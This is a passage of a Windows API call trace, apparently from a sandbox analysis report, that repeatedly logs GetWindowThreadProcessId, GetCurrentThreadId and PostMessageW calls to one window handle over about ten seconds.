lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0167.548] GetCurrentThreadId () returned 0xef8 [0167.548] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0167.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0167.719] GetCurrentThreadId () returned 0xef8 [0167.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0167.719] GetCurrentThreadId () returned 0xef8 [0167.719] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0167.906] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0167.906] GetCurrentThreadId () returned 0xef8 [0167.906] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0167.906] GetCurrentThreadId () returned 0xef8 [0167.907] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0168.094] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0168.094] GetCurrentThreadId () returned 0xef8 [0168.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0168.095] GetCurrentThreadId () returned 0xef8 [0168.095] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0168.291] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0168.291] GetCurrentThreadId () returned 0xef8 [0168.291] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0168.291] GetCurrentThreadId () returned 0xef8 [0168.291] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0168.484] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0168.485] GetCurrentThreadId () returned 0xef8 [0168.485] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0168.485] GetCurrentThreadId () returned 0xef8 [0168.485] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0168.671] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0168.671] GetCurrentThreadId () returned 0xef8 [0168.671] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0168.671] GetCurrentThreadId () returned 0xef8 [0168.672] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0168.892] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0168.892] GetCurrentThreadId () returned 0xef8 [0168.892] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0168.892] GetCurrentThreadId () returned 0xef8 [0168.892] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.076] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.076] GetCurrentThreadId () returned 0xef8 [0169.076] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.076] GetCurrentThreadId () returned 0xef8 [0169.077] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.238] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.238] GetCurrentThreadId () returned 0xef8 [0169.238] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.238] GetCurrentThreadId () returned 0xef8 [0169.238] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.373] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.374] GetCurrentThreadId () returned 0xef8 [0169.374] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.374] GetCurrentThreadId () returned 0xef8 [0169.374] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.498] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.498] GetCurrentThreadId () returned 0xef8 [0169.498] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.498] GetCurrentThreadId () returned 0xef8 [0169.499] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.622] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.623] GetCurrentThreadId () returned 0xef8 [0169.623] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.623] GetCurrentThreadId () returned 0xef8 [0169.623] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.748] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.748] GetCurrentThreadId () returned 0xef8 [0169.748] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.748] GetCurrentThreadId () returned 0xef8 [0169.748] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.872] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.872] GetCurrentThreadId () returned 0xef8 [0169.872] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.872] GetCurrentThreadId () returned 0xef8 [0169.872] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0169.998] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0169.998] GetCurrentThreadId () returned 0xef8 [0169.998] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0169.998] GetCurrentThreadId () returned 0xef8 [0169.999] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0170.126] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0170.126] GetCurrentThreadId () returned 0xef8 [0170.126] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0170.126] GetCurrentThreadId () returned 0xef8 [0170.126] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0170.277] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0170.278] GetCurrentThreadId () returned 0xef8 [0170.278] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0170.278] GetCurrentThreadId () returned 0xef8 [0170.278] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0170.481] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0170.481] GetCurrentThreadId () returned 0xef8 [0170.481] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0170.481] GetCurrentThreadId () returned 0xef8 [0170.481] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0170.710] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0170.710] GetCurrentThreadId () returned 0xef8 [0170.710] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0170.710] GetCurrentThreadId () returned 0xef8 [0170.710] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0170.964] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0170.964] GetCurrentThreadId () returned 0xef8 [0170.964] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0170.964] GetCurrentThreadId () returned 0xef8 [0170.964] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0171.090] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0171.090] GetCurrentThreadId () returned 0xef8 [0171.090] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0171.090] GetCurrentThreadId () returned 0xef8 [0171.090] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0171.261] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0171.261] GetCurrentThreadId () returned 0xef8 [0171.261] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0171.261] GetCurrentThreadId () returned 0xef8 [0171.261] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0171.417] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0171.642] GetCurrentThreadId () returned 0xef8 [0171.642] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0171.642] GetCurrentThreadId () returned 0xef8 [0171.642] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0171.832] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0171.832] GetCurrentThreadId () returned 0xef8 [0171.832] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0171.832] GetCurrentThreadId () returned 0xef8 [0171.832] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0172.072] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0172.094] GetCurrentThreadId () returned 0xef8 [0172.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0172.095] GetCurrentThreadId () returned 0xef8 [0172.095] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0173.032] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0173.032] GetCurrentThreadId () returned 0xef8 [0173.032] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0173.032] GetCurrentThreadId () returned 0xef8 [0173.032] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0173.488] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0173.488] GetCurrentThreadId () returned 0xef8 [0173.488] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0173.488] GetCurrentThreadId () returned 0xef8 [0173.488] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0173.667] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0173.668] GetCurrentThreadId () returned 0xef8 [0173.668] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0173.668] GetCurrentThreadId () returned 0xef8 [0173.668] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0173.796] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0173.796] GetCurrentThreadId () returned 0xef8 [0173.796] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0173.796] GetCurrentThreadId () returned 0xef8 [0173.796] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0173.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0173.929] GetCurrentThreadId () returned 0xef8 [0173.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0173.929] GetCurrentThreadId () returned 0xef8 [0173.929] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.073] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.073] GetCurrentThreadId () returned 0xef8 [0174.073] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.074] GetCurrentThreadId () returned 0xef8 [0174.074] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.230] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.230] GetCurrentThreadId () returned 0xef8 [0174.230] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.231] GetCurrentThreadId () returned 0xef8 [0174.231] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.365] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.365] GetCurrentThreadId () returned 0xef8 [0174.365] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.365] GetCurrentThreadId () returned 0xef8 [0174.365] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.490] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.490] GetCurrentThreadId () returned 0xef8 [0174.490] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.490] GetCurrentThreadId () returned 0xef8 [0174.490] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.615] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.615] GetCurrentThreadId () returned 0xef8 [0174.615] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.616] GetCurrentThreadId () returned 0xef8 [0174.616] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.742] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.742] GetCurrentThreadId () returned 0xef8 [0174.742] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.742] GetCurrentThreadId () returned 0xef8 [0174.743] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0174.864] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0174.864] GetCurrentThreadId () returned 0xef8 [0174.864] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0174.864] GetCurrentThreadId () returned 0xef8 [0174.865] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.011] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.011] GetCurrentThreadId () returned 0xef8 [0175.011] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.011] GetCurrentThreadId () returned 0xef8 [0175.011] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.145] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.145] GetCurrentThreadId () returned 0xef8 [0175.145] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.145] GetCurrentThreadId () returned 0xef8 [0175.145] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.301] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.301] GetCurrentThreadId () returned 0xef8 [0175.301] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.301] GetCurrentThreadId () returned 0xef8 [0175.301] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.426] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.426] GetCurrentThreadId () returned 0xef8 [0175.426] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.426] GetCurrentThreadId () returned 0xef8 [0175.426] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.560] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.561] GetCurrentThreadId () returned 0xef8 [0175.561] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.561] GetCurrentThreadId () returned 0xef8 [0175.561] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.691] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.691] GetCurrentThreadId () returned 0xef8 [0175.691] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.691] GetCurrentThreadId () returned 0xef8 [0175.691] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.815] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.815] GetCurrentThreadId () returned 0xef8 [0175.815] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.816] GetCurrentThreadId () returned 0xef8 [0175.816] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0175.946] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0175.946] GetCurrentThreadId () returned 0xef8 [0175.946] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0175.946] GetCurrentThreadId () returned 0xef8 [0175.946] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.081] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.081] GetCurrentThreadId () returned 0xef8 [0176.081] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.081] GetCurrentThreadId () returned 0xef8 [0176.081] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.206] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.206] GetCurrentThreadId () returned 0xef8 [0176.206] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.206] GetCurrentThreadId () returned 0xef8 [0176.206] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.334] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.334] GetCurrentThreadId () returned 0xef8 [0176.334] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.334] GetCurrentThreadId () returned 0xef8 [0176.334] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.455] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.455] GetCurrentThreadId () returned 0xef8 [0176.455] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.455] GetCurrentThreadId () returned 0xef8 [0176.455] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.581] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.581] GetCurrentThreadId () returned 0xef8 [0176.581] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.581] GetCurrentThreadId () returned 0xef8 [0176.581] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.706] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.706] GetCurrentThreadId () returned 0xef8 [0176.706] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.706] GetCurrentThreadId () returned 0xef8 [0176.707] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.846] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.846] GetCurrentThreadId () returned 0xef8 [0176.846] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.846] GetCurrentThreadId () returned 0xef8 [0176.846] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0176.971] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0176.971] GetCurrentThreadId () returned 0xef8 [0176.971] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0176.971] GetCurrentThreadId () returned 0xef8 [0176.971] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.095] GetCurrentThreadId () returned 0xef8 [0177.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.095] GetCurrentThreadId () returned 0xef8 [0177.095] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.235] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.236] GetCurrentThreadId () returned 0xef8 [0177.236] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.236] GetCurrentThreadId () returned 0xef8 [0177.236] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.378] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.378] GetCurrentThreadId () returned 0xef8 [0177.378] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.378] GetCurrentThreadId () returned 0xef8 [0177.378] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.517] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.517] GetCurrentThreadId () returned 0xef8 [0177.517] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.517] GetCurrentThreadId () returned 